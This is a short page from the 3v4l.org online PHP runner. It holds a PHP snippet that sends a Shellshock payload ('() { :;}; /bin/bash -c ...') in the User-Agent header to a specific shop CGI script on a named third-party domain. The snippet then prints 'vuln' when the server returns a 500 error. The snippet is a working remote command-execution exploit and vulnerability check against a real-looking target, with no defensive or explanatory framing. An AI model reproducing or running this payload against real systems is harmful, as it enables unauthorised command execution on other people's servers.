3v4l.org

run code in 300+ PHP versions simultaneously
<?php $url = "http://www.tu-shop.de/cgi-bin/cosmoshop/lshop.cgi"; $context = stream_context_create( array( 'http' => array( 'method' => 'GET', 'header' => 'User-Agent: () { :;}; /bin/bash -c "'.$cmd.'"' ) ) ); if(!file_get_contents($url, false, $context) && strpos($http_response_header[0],"500") > 0) echo "vuln";

preferences:
34.77 ms | 402 KiB | 5 Q